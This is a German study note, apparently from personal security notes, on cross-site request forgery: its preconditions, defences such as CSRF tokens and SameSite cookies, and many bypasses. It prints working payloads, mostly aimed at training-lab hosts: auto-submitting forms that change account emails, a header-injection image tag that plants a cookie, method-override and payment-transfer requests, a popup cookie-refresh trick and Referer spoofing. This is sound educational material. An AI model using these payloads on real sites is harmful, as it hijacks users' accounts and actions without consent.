Skip to content

Cross site request forgery

q# Cross-site request forgery (CSRF) Mit dem Cross-site request forgery abgekürzt CSRF, ist es möglich den Nutzer dazu zu bringen, Aktionen auszuführen, die nicht beabsichtigt sind. Damit ist es sogar teilweise möglich die same origin policy zu umgehen. ![[cross-site request forgery.svg]]

Um eine CSRF Attacke ausführen zu können müssen drei Bedingungen erfüllt sein: 1. Es muss eine aktion geben, welche der Angreifer ausführen kann, am besten eine mit erhöhten Privilegien. Dazu zählt beispielsweise das anlegen eines neuen Administrators. Doch auch das ändern der mail Adresse oder des Passwortes könnten eine Aktion sein. 2. Die Anwendung darf nur auf Cookie basiertem Session handling beruhen. Andere verfahren einen Nutzer request zu verifizieren oder eine Session zu tracken dürfen nicht genutzt werden. 3. Die Anfrage, die die gewünschte Aktion ausführt, darf keine Parameter enthalten, welche der Angreifer nicht vorhersehen kann. Dies kann beispielsweise die erneute Passwortabfrage sein.

Der folgende Code kann gehostet werden, um den Nutzer dazu zu bringen eine Funktion auszuführen:

<form method="POST" action="https://0a5500b90322d58180ea0da1005300fd.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="hacked@web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>

CSRF POC Generator

Verteidigung gegen CSRF

CSRF Token: Das CSRF Token ist ein zufällig generierter Token, welcher dem Nutzer für die Bearbeitung von sensitiven Informationen zur Verfügung stellt.

SameSite cookies: Die SameSite Cookies bestimmen, wann Cookies benutzt werden, wenn die Anfrage ursprünglich von einer anderen Seite stammt, wie beispielsweise des Servers eines Angreifers. Dieses Verhalten wird beispielsweise standardmäßig von Chrome und wahrscheinlich auch anderen ausgeführt.

Referer-based validation: Bei der Referrer-based validation, wird überprüft ob die zuvor besuchte Seite eine andere Seite als das Ziel ist. Allerdings ist dies weniger sicher als die CSRF Token. -

Umgehung der CSRF Token

Einige Anwendungen validieren die CSRF Token korrekt, wenn POST Anfragen genutzt werden, scheitern aber bei GET Anfragen. Manche Anwendungen validieren den CSRF Token nicht, wenn dieser vollständig entfernt wird. Es kann auch vorkommen, dass die CSRF Token nicht an eine Session gebunden sind. Das heißt es gibt einen globalen Pool an Tokens. Ist in der Anfrage einer dieser Tokens ist die Anfrage gültig. Ein Angreifer kann dadurch mit seinem eigenen Account gültige CSRF Token generieren. Auch kann es sein, dass CSRF Token nicht an eine Session sondern an einen anderen Cookie gebunden sind wie beispielsweise den csrfkey. Dies kann passieren, wenn anti-csrf token nicht von dem verwendeten Framework unterstützt werden und selbst implementiert werden müssen. Das folgende Skript nimmt sich diesem Fall an und setzt über eine Funktion, welche es ermöglicht die Header zu ändern den csrfkey neu. Zudem wird durch die Nutzung des Skript Tags hier die CORS Policy umgangen:

<form method="POST" action="https://0a11007c049ca0988363f0520033006c.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="haharha@web-security-academy.net">
  <input type="hidden" name="csrf" value="n4yTs1EADvKBZSek3w2eecHxIvovbTac"
</form>



<img src="https://0a11007c049ca0988363f0520033006c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=zk5IOGdGpee30h9XGr21UjLUjpzy58oZ%3b%20SameSite=None" onerror="document.forms[0].submit()">
Der letzte Angriff ist der des doppelten CSRF Token. Dabei wird der CSRF Token zusätzlich im Header gesetzt. Dadurch fällt das Serverseitige speichern des CSRF Tokens weg. Um dies auszunutzen wird wieder eine Möglichkeit benötigt, das Token Manuell im Header zu setzen.

Die SameSite Policy schränkt ein, wann Cookies benutzt werden dürfen, wenn die Quelle und das Ziel sich unterscheiden. Diese Policy schränkt nicht nur CSRF Angriffe ein, sondern auch einige CORS Exploits. Dieser Schutz ist seit 2021 als Lax SameSite Einschränkungen in Chrome eingebaut. Dabei wird der Schutz standardmäßig angewandt, sofern es keine andere Policy gibt. Andere Browser werden wahrscheinlich nachziehen.![[Pasted image 20240629153445.png]] Alle großen Browser unterstützen im Moment die folgenden Restriktionslevel: - Strict - Lax - None Dieses Restriktionslever kann dann einfach beim Setzen des Cookies eingetragen werden:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Strict

Die Strict Policy besagt, dass keinerlei cross-site request erlaubt sind.

Lax

Bei der Lax Policy werden cross-site requests zugelassen. Allerdings nur wenn die folgenden Bedingungen erfüllt sind: - Die Anfrage nutzt die GET Methode - Die Anfrage resultiert von einer top-level Navigationsbar, von dem Nutzer. Wie dem klicken eines Links. Zudem wird das Cookie nicht in Hintergrundanfragen einbezogen, wie z.B. solche von Skripten, iframes oder Verweisen auf Bilder und andere Resourcen. - ### None Bei der None Policy sind sämtliche cross-site requests zugelassen. Allerdings wichtig hier ist, dass Cookies zusätzlich das Secure Flag für das Cookie gesetzt haben, sonst wird der Cookie aus Sicherheitsgründen nicht zugelassen. Dieses Flag soll sicherstellen, dass das Cookie nur über verschlüsselte Verbindungen übertragen wird. - ### Umgehen der Lax Einschränkungen mithilfe von GET Anfragen Oft ist es Servern egal, ob sie eine GET oder eine POST Anfrage erhalten. Die einfachste Form dieses Angriffs ist:

<script> document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>
Selbst, wenn GET requests nicht erlaubt sind, geben manche Frameworks wie Symfony die Möglichkeit die Anfragemethode zu überschreiben. Symfony erlaubt dies mit dem _method Parameter in einer Form:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"> 
<input type="hidden" name="_method" value="GET"> 
<input type="hidden" name="recipient" value="hacker"> 
<input type="hidden" name="amount" value="1000000"> 
</form>
Im Test waren GET und POST getauscht. Zudem zu dem _method gibt es noch X-HTTP-Method-Override.

Umgehen der Strict SameSite Policy mit gadgets

Mithilfe eines gadgets, welches in einem zweiten Request resultiert ist es möglich diese Policy zu umgehen. Ein mögliches Gadget ist ein Client Seitiger redirect, welcher dynamisch ein Ziel erstellt, mithilfe von Eingaben, welcher der Angreifer verändern kann. Dies sind beispielsweise URL Parameter. Diese redirects werden lediglich als gewöhnliche unabhängige Anfragen gewertet, welche keine richtigen redirects sind. Da dies same-site requests sind enthalten sie alle Cookies unabhängig davon, welche Restriktionen gelten. Im Beispiel ist zu sehen, wie ein URL Parameter mithilfe von Path Traversal dazu gebracht wurde den Request zu ändern.

https://0a82005303d0400f8013c12800e4009b.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?submit=1&email=victim@hackt.dich

Umgehen der SameSite Policy mit verwundbaren Zwilings Domains

#TODO Es ist wichtig zu wissen, dass eine Anfrage auch SameSite sein kann, wenn sie cross-origin ist.

Umgehen der SameSite Lax Policy mit neu erzeugten Cookies

Normalerweise werden Cookies innerhalb der Lax SameSite Policy nicht zwischen verschiedenen Webseiten über den POST Request verschickt. Es gibt aber ein paar Ausnahmen. Um den SSO Mechanismus nicht kaputt zumachen, wird die Lax Policy in den ersten 120 Sekunden nicht angewandt auf top-level POST Anfragen. Diese Ausnahme wird von Chrome angewandt, wenn die Lax Policy automatisch angewandt wurde. Das selbst setzen deaktiviert diese Ausnahme. Ist es möglich ein Gadget auf der Webseite zu benutzen, um ein neues Cookie anzufordern, kann dieses aktualisiert werden. Beispielsweise der Abschluss eines OAuth basierten Anmeldevorgangs führt zur Erstellung eines neuen Cookies. Um einen Cookie wechsel zu erreichen muss "top-level Navigation" benutzt werden. Bei dieser "top-level Navigation" handelt es sich um globale Links die auf jeder Seite Sichtbar sind, wie die Navigationsbar. Dadurch wird sichergestellt, dass die Cookies der aktuellen Session inkludiert werden, was ein erneutes Anmelden automatisiert. Alternativ kann die Cookie erneuerung von einem neuen Tab ausgelöst werden. Das Problem ist, dass Browser popups blocken, welche nicht vom Nutzer ausgelöst wurden. Um dies zu umgehen kann ein oncklick even Handler benutzt werden:

<form method="POST" action="https://0af7003e04e4f22a814f61de00b20094.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacked@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
  window.onclick = () => {
      window.open('https://0af7003e04e4f22a814f61de00b20094.web-security-academy.net/social-login');
      setTimeout(changeEmail, 5000);
  }

  function changeEmail() {
      document.forms[0].submit();
  }
</script>

Zuerst wird hier die Cookie erneuerung ausgelöst, dies wird durch window.open() ausgeführt. Diese Funktion öffnet die Seite in einem neuen Tab. Danach wird die CSRF Attacke ausgeführt.

Bei der SameSite Policy für die Cookies ist der größte Unterschied, dass subdomains und Ports nicht als Teil der Seite angesehen werden.

  • https://vulnerable.htb und https://sub.vulnerable.htb sind SameSite 💚
  • https://vulnerable.htb und https://vulnerable.htb:9001 sind SameSite 💚
  • https://vulnerable.htb und https://sub.vulnerable.htb:9001 sind SameSite 💚
  • http://vulnerable.htb und https://vulnerable.htb sind nicht SameSite 🚫
  • https://vulnerable.htb und https://exploitserver.htb sind nicht SameSite 🚫

Es gibt einige Möglichkeiten dieses Verhalten auszunutzen. Nutzt eine Applikation standardmäßig POST Anfragen für Aktionen wie das Anlegen eines Kontos, akzeptiert aber auch GET Anfragen kann dies ausgenutzt werden.
Das gleiche gilt, wenn Aktionen über GET Anfragen ausgeführt werden können.
Allerdings funktioniert dies nicht wenn die SameSite Policy auf Strict gestellt ist.

Die Strict Policy kann umgangen werden, wenn an eine client seitige redirection Seite weitergeleitet wird, welche an das eigentliche Ziel weiterleitet.
Dies funktioniert, da die Anfrage dadurch direkt vom Ziel weitergeleitet wird und es sich somit um einen SameSite Request handelt.

Note

Funktioniert nur bei Client Seitigen redirects, nicht bei serverseitigen redirects wie HTTP 3xx Status Codes

CSRF mit JSON Request Body

Manche Applikationen verlangen einen JSON Body zum übertragen von Parametern.
HTML basierte CSRF Payloads unterstützen nur die drei folgenden Content-Type headern: - application/x-www-form-urlencoded - text/plain - multipart/form-data

Um dies zu spezifizieren, kann das enctype Attribut genutzt werden.

<html>
  <body>
    <form method="POST" action="https://vulnerablesite.htb/profile.php" enctype="text/plain">
      <input type="hidden" name='{"promote": "htb-stdnt", "dummykey' value='": "dummyvalue"}' />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Hier in diesem Beispiel wird der Content-Type text/plain benutzt und der dummykey wird benutzt, um nicht das gleich, was zwischen den Argumentnamen und dem Wert gesetzt wird eins unserer Argumente kaputt macht.

Umgehen der Referer-basierten CSRF Schutzmaßnahmen

Manche Seiten überprüfen von welcher Seite der Request ausging indem der Referer Header überprüft wird. Allerdings ist es dabei auch oft so, dass dieser Check übersprungen wird, falls dieser nicht existiert. Es gibt verschiedene Wege diesen Header zu unterdrücken, der einfachste ist über eine Direktive auf der Seite:

<meta name="referrer" content="never">

Umgehung der Referersbasierten CSRF Schutzmaßnahme durch austricksen der Validierung

Wird überprüft, ob der Referer mit der richtigen URL startet, kann diese einfach als subdomain an die eigene Domain angehängt werden. Manche Webseiten prüfen, ob die URL die richtige URL enthält. In diesem Fall kann diese auch einfach in die Query gepackt werden. Diese Query wird allerdings von den Browsern standardmäßig abgeschnitten.

http://attacker-website.com/csrf-attack?vulnerable-website.com
Allerdings kann das Verhalten wieder deaktiviert werden indem der folgende Header hinzugefügt wird:
Referrer-Policy: unsafe-url
oder der folgende Tag kann im HTML gesetzt werden:
<meta name="referrer" content="unsafe-url" />


<form action="https://0a2d00a4032195cd81cdcbc200e5007d.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked4@portswigger.net">
</form>

<script>
history.pushState("", "", "/?0a2d00a4032195cd81cdcbc200e5007d.web-security-academy.net")

document.forms[0].submit();
</script>